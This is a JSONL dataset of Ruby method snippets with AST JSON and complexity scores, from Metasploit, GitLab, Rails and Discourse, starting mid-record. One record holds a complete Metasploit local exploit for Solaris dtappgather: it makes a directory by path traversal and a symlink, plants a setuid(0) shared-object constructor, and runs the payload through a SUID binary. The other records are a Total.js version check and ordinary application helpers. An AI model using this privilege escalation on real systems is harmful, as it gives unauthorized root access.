out\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"X-Powered-By\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"Total.js\"]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"text\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"text\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CMS v([\\\\d\\\\.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"0a0ec58c-d2ae-498f-a177-444ee2c72d57"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb","start_line":166,"raw_source":"def exploit\n    if is_root?\n      fail_with Failure::BadConfig, 'Session already has root privileges'\n    end\n\n    unless writable? datastore['WritableDir']\n      fail_with Failure::BadConfig, \"#{datastore['WritableDir']} is not writable\"\n    end\n\n    # Remove appmanager directory and contents\n    appmanager_path = '/var/dt/appconfig/appmanager'\n    vprint_status \"Cleaning appmanager directory #{appmanager_path}\"\n    cmd_exec \"chmod -R 755 #{appmanager_path}/*\"\n    cmd_exec \"rm -rf #{appmanager_path}/*\"\n    rm_f appmanager_path\n\n    # Create writable directory in /usr/lib/locale\n    locale_path = '/usr/lib/locale'\n    locale_name = rand_text_alphanumeric 5..10\n    new_dir = \"#{locale_path}/#{locale_name}\"\n    vprint_status \"Creating directory #{new_dir}\"\n    depth = 3\n    cmd_exec 'DTUSERSESSION=. /usr/dt/bin/dtappgather'\n    depth.times do\n      cmd_exec 'DTUSERSESSION=.. /usr/dt/bin/dtappgather'\n    end\n    symlink locale_path, appmanager_path\n    cmd_exec \"DTUSERSESSION=#{locale_name} #{dtappgather_path}\"\n    unless cmd_exec(\"ls -al #{locale_path} | grep #{locale_name}\").to_s.include? locale_name\n      fail_with Failure::NotVulnerable, \"Could not create directory #{new_dir}\"\n    end\n\n    print_good \"Created directory #{new_dir}\"\n    register_dir_for_cleanup new_dir\n\n    rm_f appmanager_path\n    cmd_exec \"chmod 755 #{new_dir}\"\n\n    # Upload and compile shared object\n    base_path = \"#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}\"\n    mkdir base_path\n\n    payload_name = \".#{rand_text_alphanumeric 5..10}\"\n    payload_path = \"#{base_path}/#{payload_name}\"\n\n    so = <<-EOF\n      void __attribute__((constructor)) cons() {\n        setuid(0);\n        setgid(0);\n        execle(\"#{payload_path}\", \"\", 0, 0);\n        _exit(0);\n      }\n    EOF\n\n    so_name = \".#{rand_text_alphanumeric 5..10}\"\n    so_path = \"#{base_path}/#{so_name}\"\n    upload_and_compile so_path, so\n\n    vprint_status \"Writing shared objects to #{new_dir}\"\n    cmd_exec \"cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'\"\n    register_file_for_cleanup \"#{new_dir}/#{locale_name}.so.2\"\n    cmd_exec \"cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'\"\n    register_file_for_cleanup \"#{new_dir}/#{locale_name}.so.3\"\n\n    # Upload and execute payload\n    upload payload_path, generate_payload_exe\n    cmd_exec \"chmod +x #{payload_path}\"\n\n    print_status 'Executing payload...'\n    cmd_exec \"LC_TIME=#{locale_name} #{suid_bin_path} & echo \"\n  end","complexity_score":64.45,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has root privileges\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\" is not writable\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"appmanager_path\",{\"type\":\"str\",\"children\":[\"/var/dt/appconfig/appmanager\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cleaning appmanager directory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appmanager_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod -R 755 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appmanager_path\"]}]},{\"type\":\"str\",\"children\":[\"/*\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm -rf \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"appmanager_path\"]}]},{\"type\":\"str\",\"children\":[\"/*\"]}]}]},{\"type\":\"send\",\"children\":[null,\"rm_f\",{\"type\":\"lvar\",\"children\":[\"appmanager_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locale_path\",{\"type\":\"str\",\"children\":[\"/usr/lib/locale\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locale_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_dir\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating directory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"depth\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"DTUSERSESSION=. /usr/dt/bin/dtappgather\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"DTUSERSESSION=.. /usr/dt/bin/dtappgather\"]}]}]},{\"type\":\"send\",\"children\":[null,\"symlink\",{\"type\":\"lvar\",\"children\":[\"locale_path\"]},{\"type\":\"lvar\",\"children\":[\"appmanager_path\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DTUSERSESSION=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dtappgather_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ls -al \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_path\"]}]},{\"type\":\"str\",\"children\":[\" | grep \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]}]}]},\"to_s\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not create directory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created directory \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_dir_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]},{\"type\":\"send\",\"children\":[null,\"rm_f\",{\"type\":\"lvar\",\"children\":[\"appmanager_path\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod 755 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\"/.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mkdir\",{\"type\":\"lvar\",\"children\":[\"base_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"so\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      void __attribute__((constructor)) cons() {\\n\"]},{\"type\":\"str\",\"children\":[\"        setuid(0);\\n\"]},{\"type\":\"str\",\"children\":[\"        setgid(0);\\n\"]},{\"type\":\"str\",\"children\":[\"        execle(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\", \\\"\\\", 0, 0);\\n\"]},{\"type\":\"str\",\"children\":[\"        _exit(0);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"so_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"so_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"so_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_and_compile\",{\"type\":\"lvar\",\"children\":[\"so_path\"]},{\"type\":\"lvar\",\"children\":[\"so\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing shared objects to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cp '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"so_path\"]}]},{\"type\":\"str\",\"children\":[\"' '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},{\"type\":\"str\",\"children\":[\".so.2'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},{\"type\":\"str\",\"children\":[\".so.2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cp '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"so_path\"]}]},{\"type\":\"str\",\"children\":[\"' '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},{\"type\":\"str\",\"children\":[\".so.3'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},{\"type\":\"str\",\"children\":[\".so.3\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"payload_path\"]},{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod +x \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LC_TIME=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_bin_path\"]}]},{\"type\":\"str\",\"children\":[\" & echo \"]}]}]}]}]}","id":"82ee67da-965a-44da-b737-45815d0340f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb","start_line":551,"raw_source":"def cmd_maxpower(*args)\n    self.idx ||= 0\n    if args.length > 0\n      cmd_maxpower_help\n      return\n    end\n    r = client.rftransceiver.set_maxpower(idx)\n    print_success(r)\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_maxpower\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"idx\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_maxpower_help\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"rftransceiver\"]},\"set_maxpower\",{\"type\":\"send\",\"children\":[null,\"idx\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_success\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"07cc56d1-7b8a-4534-9f83-b20b858490a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/policies/concerns/member_policy_helpers.rb","start_line":8,"raw_source":"def record_is_access_request_of_self?\n    record_is_access_request? && record_belongs_to_self?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"record_is_access_request_of_self?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record_is_access_request?\"]},{\"type\":\"send\",\"children\":[null,\"record_belongs_to_self?\"]}]}]}","id":"aed8c965-eb8b-48fa-8b26-d3bb2b01b6a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/trigger_downstream_pipeline_service.rb","start_line":33,"raw_source":"def rate_limit_throttled?\n      scope = [project, current_user, pipeline.sha]\n\n      ::Gitlab::ApplicationRateLimiter.throttled?(:downstream_pipeline_trigger, scope: scope).tap do |throttled|\n        create_throttled_log_entry if throttled\n      end\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_throttled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"sha\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ApplicationRateLimiter\"]},\"throttled?\",{\"type\":\"sym\",\"children\":[\"downstream_pipeline_trigger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"throttled\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"throttled\"]},{\"type\":\"send\",\"children\":[null,\"create_throttled_log_entry\"]},null]}]}]}]}","id":"b75f09cd-16a8-4eb9-820d-d3a463f2d02b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/ci/pipeline/cancel.rb","start_line":11,"raw_source":"def resolve(id:)\n          pipeline = authorized_find!(id: id)\n\n          result = ::Ci::CancelPipelineService.new(pipeline: pipeline, current_user: current_user).execute\n\n          if result.success?\n            { success: true, errors: [] }\n          else\n            { success: false, errors: [result.message] }\n          end\n        end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"CancelPipelineService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"message\"]}]}]}]}]}]}]}","id":"ea2fb149-816e-4d45-9722-a2defb3db82a"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/callable.rb","start_line":108,"raw_source":"def initialize(context = nil)\n      @context = context\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}","id":"a7373a1d-2a6b-4ef5-8c43-ab42f96a47fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/issues_spec.rb","start_line":257,"raw_source":"def request_with_second_scope\n        post_graphql(query({ search: 'test' }), current_user: reporter)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"request_with_second_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post_graphql\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"reporter\"]}]}]}]}]}","id":"dc03b377-d306-4ed3-8097-460ae0282256"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_ip_info.rb","start_line":23,"raw_source":"def self.mmdb_path(name)\n    File.join(path, \"#{name}.mmdb\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mmdb_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".mmdb\"]}]}]}]}","id":"009f0e8b-c5b1-42b3-8d96-9ce277605d69"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/rake_test.rb","start_line":184,"raw_source":"def test_code_statistics\n      assert_match(/Code LOC: \\d+\\s+Test LOC: \\d+\\s+ Code to Test Ratio: 1:\\w+/, rails(\"stats\"))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_code_statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Code LOC: \\\\d+\\\\s+Test LOC: \\\\d+\\\\s+ Code to Test Ratio: 1:\\\\w+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"stats\"]}]}]}]}","id":"cf3a5aec-2652-437a-b5a4-5be5cb9fa622"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/job_container.rb","start_line":47,"raw_source":"def start_job(name, ctx, run_proc, clean_proc = nil)\n    j = add_job(name, ctx, run_proc, clean_proc)\n    j.start\n\n    j.jid\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"ctx\"]},{\"type\":\"arg\",\"children\":[\"run_proc\"]},{\"type\":\"optarg\",\"children\":[\"clean_proc\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"j\",{\"type\":\"send\",\"children\":[null,\"add_job\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"run_proc\"]},{\"type\":\"lvar\",\"children\":[\"clean_proc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"jid\"]}]}]}","id":"ad63b5f4-340a-4ff9-8502-42ae1f14d917"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/wiki_page_version.rb","start_line":10,"raw_source":"def initialize(commit, format)\n        @commit = commit\n        @format = format\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]},{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@commit\",{\"type\":\"lvar\",\"children\":[\"commit\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@format\",{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}","id":"51e836a3-f8cb-4540-a2bd-bec9078f1ecb"}
